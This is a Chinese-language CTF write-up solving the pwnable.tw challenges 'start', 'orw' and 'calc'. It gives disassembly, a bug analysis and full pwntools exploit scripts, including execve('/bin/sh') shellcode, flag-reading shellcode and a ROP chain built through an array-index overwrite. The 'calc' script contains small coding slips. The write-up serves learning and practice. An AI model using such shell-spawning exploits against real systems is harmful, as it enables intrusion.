pwnable.tw刷题笔记

前段时间闲逛的时候发现了这个网站,看了一下,还有点小难,而且网上有关的wp也比较少,正好可以来练练自己的能力

start

Just a start.

这道题就让我感觉到了有点小难,拖进ida之后发现这是个拿汇编写的程序


.text:08048060 push esp .text:08048061 push offset _exit .text:08048066 xor eax, eax .text:08048068 xor ebx, ebx .text:0804806A xor ecx, ecx .text:0804806C xor edx, edx .text:0804806E push 3A465443h .text:08048073 push 20656874h .text:08048078 push 20747261h .text:0804807D push 74732073h .text:08048082 push 2774654Ch .text:08048087 mov ecx, esp ; addr .text:08048089 mov dl, 14h ; len .text:0804808B mov bl, 1 ; fd .text:0804808D mov al, 4 .text:0804808F int 80h ; LINUX - sys_write .text:08048091 xor ebx, ebx .text:08048093 mov dl, 3Ch .text:08048095 mov al, 3 .text:08048097 int 80h ; LINUX - .text:08048099 add esp, 14h .text:0804809C retn .text:0804809C _start endp ; sp-analysis failed .text:0804809C .text:0804809D .text:0804809D ; =============== S U B R O U T I N E ======================================= .text:0804809D .text:0804809D ; Attributes: noreturn .text:0804809D .text:0804809D ; void exit(int status) .text:0804809D _exit proc near ; DATA XREF: _start+1o .text:0804809D pop esp .text:0804809E xor eax, eax .text:080480A0 inc eax .text:080480A1 int 80h ; LINUX - sys_exit .text:080480A1 _exit endp ; sp-analysis failed .text:080480A1 .text:080480A1 _text ends .text:080480A1 .text:080480A1 .text:080480A1 end _start

很明显是个栈溢出,第二次调用的sys_read读取的内容可以覆盖到ret的地址

所以这道题思路也很简单:

  1. leak栈地址
  2. ret to shellcode

不过拿checksec看的话是开了nx的,很迷

exp:


from pwn import * shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" p = process('./start') print p.recvuntil('CTF:') payload1 = 'a'*(0x14) + p32(0x8048087) p.send(payload1) esp_addr = u32(p.recv(4)) print hex(esp_addr) payload2 = 'a'*(0x14) + p32(esp_addr+0x14) + shellcode p.send(payload2) p.interactive()

orw

Read the flag from /home/orw/flag.
Only open read write syscall are allowed to use.

这道题完全就是在考汇编,和pwnable.kr的一道asm很像,这个是32位的还要简单一点

asm:

global START

START:
    jmp MESSAGE
BACK:
    mov eax,5 ;open
    pop ebx
    mov ecx,0
    mov edx,7
    int 80h

    mov ebx,eax ;read
    mov eax,3
    mov ecx,esp
    mov edx,100
    int 80h

    mov eax,4 ;write
    mov ebx,1
    mov ecx,esp
    mov edx,100
    int 80h

    xor ebx,ebx ;exit
    mov eax,1
    int 80h
MESSAGE:
    call BACK
    file db '/home/orw/flag'
    db 00

拿nasm编译之后再用objdump查看


nasm -f elf32 shellcode.asm -o asm.o objdump -d asm.o | cut -f2

之后直接把shellcode送过去就行了

exp:

from pwn import *


p = remote('chall.pwnable.tw',10001)
shellcode="\xeb\x3e\xb8\x05\x00\x00\x00\x5b\xb9\x00\x00\x00\x00\xba\x07\x00\x00\x00\xcd\x80\x89\xc3\xb8\x03\x00\x00\x00\x89\xe1\xba\x64\x00\x00\x00\xcd\x80\xb8\x04\x00\x00\x00"
shellcode+="\xbb\x01\x00\x00\x00\x89\xe1\xba\x64\x00\x00\x00\xcd\x80\x31\xdb\xb8\x01\x00\x00\x00\xcd\x80\xe8\xbd\xff\xff\xff\x2f"
shellcode+="\x68\x6f\x6d\x65\x2f\x6f\x72\x77\x2f\x66\x6c\x61\x67"
p.send(shellcode)
p.interactive()

calc

Have you ever use Microsoft calculator?

这道题的难度突然变大,让我这种垃圾想了很久很久…..

题目描述中的微软计算器还真是有一些漏洞,可以谷歌,然而和这道题并没有什么关系orz

首先分析程序的算法:

int calc()
{
  int v1[101]; // [sp+18h] [bp-5A0h]@4
  char s[1024]; // [sp+1ACh] [bp-40Ch]@2
  int canary; // [sp+5ACh] [bp-Ch]@1

  canary = *MK_FP(__GS__, 20);
  while ( 1 )
  {
    bzero(s, 0x400u);
    if ( !get_expr((int)s, 1024) )
      break;
    init_pool(v1);
    if ( parse_expr((int)s, v1) )
    {
      printf((const char *)&aD_1, v1[v1[0] - 1 + 1]);
      fflush(stdout);
    }
  }
  return *MK_FP(__GS__, 20) ^ canary;
}

这里首先初始化了一个字符数组来储存用户的输入,get_expr函数中会获取输入,但是读到非数字和运算符字符就会直接退出

init_pool函数是将v1中所有元素置0

主要的逻辑在parse_expr中

signed int __cdecl parse_expr(char *inputData, int *num_array)
{
  int numLen; // ST2C_4@3
  signed int result; // eax@4
  int index; // eax@6
  int v5; // ebx@25
  char *p; // [sp+20h] [bp-88h]@1
  int i; // [sp+24h] [bp-84h]@1
  int operFlag; // [sp+28h] [bp-80h]@1
  char *getNum; // [sp+30h] [bp-78h]@3
  int getNum_int; // [sp+34h] [bp-74h]@5
  char operator[100]; // [sp+38h] [bp-70h]@1
  int canary; // [sp+9Ch] [bp-Ch]@1

  canary = *MK_FP(__GS__, 20);
  p = inputData;
  operFlag = 0;
  bzero(operator, 0x64u);
  for ( i = 0; ; ++i )
  {
    if ( (unsigned int)(inputData[i] - 48) > 9 )// is number ?
    {
      numLen = &inputData[i] - p;
      getNum = (char *)malloc(numLen + 1);
      memcpy(getNum, p, numLen);
      getNum[numLen] = 0;
      if ( !strcmp(getNum, "0") )
      {
        puts("prevent division by zero");
        fflush(stdout);
        result = 0;
        goto end;
      }
      getNum_int = atoi(getNum);
      if ( getNum_int > 0 )
      {
        index = (*num_array)++;
        num_array[index + 1] = getNum_int;
      }
      if ( inputData[i] && (unsigned int)(inputData[i + 1] - 48) > 9 )
      {
        puts("expression error!");
        fflush(stdout);
        result = 0;
        goto end;
      }
      p = &inputData[i + 1];
      if ( operator[operFlag] )
      {
        switch ( inputData[i] )
        {
          case 43:
          case 45:
            eval(num_array, operator[operFlag]);
            operator[operFlag] = inputData[i];
            break;
          case 37:
          case 42:
          case 47:
            if ( operator[operFlag] != 43 && operator[operFlag] != 45 )
            {
              eval(num_array, operator[operFlag]);
              operator[operFlag] = inputData[i];
            }
            else
            {
              operator[++operFlag] = inputData[i];
            }
            break;
          default:
            eval(num_array, operator[operFlag--]);
            break;
        }
      }
      else
      {
        operator[operFlag] = inputData[i];
      }
      if ( !inputData[i] )
        break;
    }
  }
  while ( operFlag >= 0 )
    eval(num_array, operator[operFlag--]);
  result = 1;
end:
  v5 = *MK_FP(__GS__, 20) ^ canary;
  return result;
}

可以看到这里主要的逻辑是逐个字符进行判断,判断到操作符时就会执行atoi转化成数字,最后在eval中进行计算。

这里的漏洞其实不怎么好发现,因为看算法都头痛(

通过观察发现这里是使用数组的第0位进行索引,所以只要能覆盖第0位,就可以实现栈上任意地址的读写。通过实验发现如果第一个字符是运算符的话,就可以把第一个数字写到第0位(eval中每次进行运算是当前数字与前一个数字进行运算,结果储存在上一个空间)

-000005A0 var_5A0         dd 101 dup(?)
-0000040C s               db 1024 dup(?)
-0000000C canary          dd ?
-00000008                 db ? ; undefined
-00000007                 db ? ; undefined
-00000006                 db ? ; undefined
-00000005                 db ? ; undefined
-00000004                 db ? ; undefined
-00000003                 db ? ; undefined
-00000002                 db ? ; undefined
-00000001                 db ? ; undefined
+00000000  s              db 4 dup(?)
+00000004  r              db 4 dup(?)

观察栈空间,可以发现数组((0x5A0+4)/4)位就是返回地址,所以我们就可以通过这一点控制eip了

然而程序开了nx,也没给libc,无法使用现成的函数或者是shellcode,所以只有使用ROPgadget构造execve(“\bin\sh”)

可以用pwntools自带的rop.rop模块进行寻找,然而生成的rop链很多0,会被过滤掉,所以需要自己处理一下

经过处理,我找了一条比较好的链

0x0805c34b 处有指令 pop eax ; ret 这里就可以给eax赋值

0x080701b0 处有指令 pop edx; pop ecx; pop ebx; ret 这里就可以给edx,ecx赋0,给ebx赋”/bin/sh”的地址,而这个地址可以通过读取数组第(0x5A0/4)位+偏移获得

0x8049a21 处有int 80 在这里执行系统调用

最后构造的栈的结构应该是

0x0805c34b
0xb
0x080701b0
0x0
0x0
leak esp(运气比较好,leak出来的地址刚好在这里)
0x8049a21
“/bin”
“/sh” + \x00

最后的exp:

from pwn import *


def set_zero(p, index, id):
    payload1 = '+' + str(index / 4 + id)
    p.sendline(payload1)
    flag = eval(p.recvline())
    if flag == 0:
        return
    payload1 = '+' + str(index / 4 + id) + '-' + str(flag)
    if '--' in payload1:
        payload1.replace('--', '+')
    p.sendline(payload1)
    p.recvline()

bin_sh = '/bin/sh\x00'
elf = ELF('calc')
rop = ROP(elf)

pop_eax_addr = 0x805c34b
int80_addr = 0x8049a21
pop_ebx_addr = 0x080701D0
index = 0x5a0

#p = process('./calc')
p = remote('chall.pwnable.tw', 10100)

print p.recvline()

payload = '+' + str(index/4)
p.sendline(payload)
esp_addr = eval(p.recvline())
print 'get_esp_addr = ' + hex(0x100000000+esp_addr)

payload = '+' + str(index/4+1) + '+' + str(pop_eax_addr-0x08049499)
print payload
p.sendline(payload)
p.recvline()

set_zero(p, index, 2)
payload = '+' + str(index/4+2) + '+' + str(11)
p.sendline(payload)
p.recvline()

set_zero(p, index, 3)
payload = '+' + str(index/4+3) + '+' + str(pop_ebx_addr)
p.sendline(payload)
p.recvline()

set_zero(p, index, 4)
set_zero(p, index, 5)

set_zero(p, index, 6)
payload = '+' + str(index/4+6) + str(esp_addr)
p.sendline(payload)
p.recvline()

set_zero(p, index, 7)
payload = '+' + str(index/4+7) + '+' + str(int80_addr)
p.sendline(payload)
p.recvline()

set_zero(p, index, 8)
payload = '+' + str(index/4+8) + '+' + str(u32(bin_sh[0:4]))
p.sendline(payload)
p.recvline()

set_zero(p, index, 9)
payload = '+' + str(index/4+9) + '+' + str(u32(bin_sh[4:8]))
p.sendline(payload)
p.recvline()

for x in range(9):
    payload = '+' + str(index / 4 + x + 1)
    p.sendline(payload)
    temp = eval(p.recvline())
    if temp < 0:
        temp += 0x100000000
    print hex(temp)


p.sendline()
p.interactive()

未完待续…

发表评论

电子邮件地址不会被公开。 必填项已用*标注